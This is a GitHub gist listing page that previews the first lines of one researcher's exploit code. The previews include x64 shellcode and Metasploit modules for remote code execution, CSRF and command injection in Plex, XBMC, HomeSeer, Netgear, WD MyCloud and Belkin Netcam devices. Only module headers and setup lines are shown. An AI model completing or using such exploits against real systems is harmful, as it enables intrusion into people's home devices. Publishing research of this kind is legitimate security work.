Skip to content

Instantly share code, notes, and snippets.

@phikshun
phikshun / https_curl_pipe64.asm
Created September 3, 2012 18:02
LibCurl Pipe Shellcode x64
%define u(x) __utf16__(x)
[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
mov rsi, rsp ; ESI points to the current postion of the stack (for ref local var)
sub rsp, 0x2000 ; Allocate some stack space
call start ; Call start, this pushes the address of 'api_call' onto the stack.
@phikshun
phikshun / plex_windows_rce.rb
Last active January 9, 2018 21:11
A Plex Drive-By
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Plex Code Execution Vulnerability',
@phikshun
phikshun / xbmc_remote_exec.rb
Created February 20, 2014 23:31
XBMC EventServer API Metasploit Module
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'XBMC Remote UDP Code Exec',
@phikshun
phikshun / homeseer_code_execution.rb
Created March 17, 2014 19:58
HomeSeer HS3 Code Execution
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HomeSeer Code Execution Vulnerability',
@phikshun
phikshun / netgear_upnp_csrf.rb
Created March 18, 2014 23:44
Netgear UPnP CSRF
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'NetGear UPnP CSRF',
@phikshun
phikshun / netgear_telnet_enabler.rb
Created March 18, 2014 23:49
Netgear Telnet Enabler
require 'msf/core'
require 'crypt/blowfish' # sorry, openssl is limited to 16-byte key size :(
# add gem 'crypt', '1.1.4' to Gemfile
module ::Crypt
class Blowfish
def setup_blowfish()
@sBoxes = Array.new(4) { |i| INITIALSBOXES[i].clone }
@pArray = INITIALPARRAY.clone
keypos = 0
@phikshun
phikshun / netstat.rb
Created March 19, 2014 00:50
Netstat.rb
#!/usr/bin/env ruby
require 'net/telnet'
require 'colorize'
display_sockets = false
usage = "Usage: ./netstat.rb <host> <username> [password]\n"
host = ARGV[0]
user = ARGV[1] || ''
pass = ARGV[2] || ''
@phikshun
phikshun / wdmycloud_cmd_injection_csrf.rb
Created March 20, 2014 00:51
WDMyCloud Command Injection CSRF
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'WDMyCloud NAS Command Injection CSRF',
@phikshun
phikshun / belkin_netcamhd_cmd_injection.rb
Created April 4, 2014 22:53
Belkin Netcam HD UPnP Command Injection
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Belkin Netcam HD UPnP Command Injection",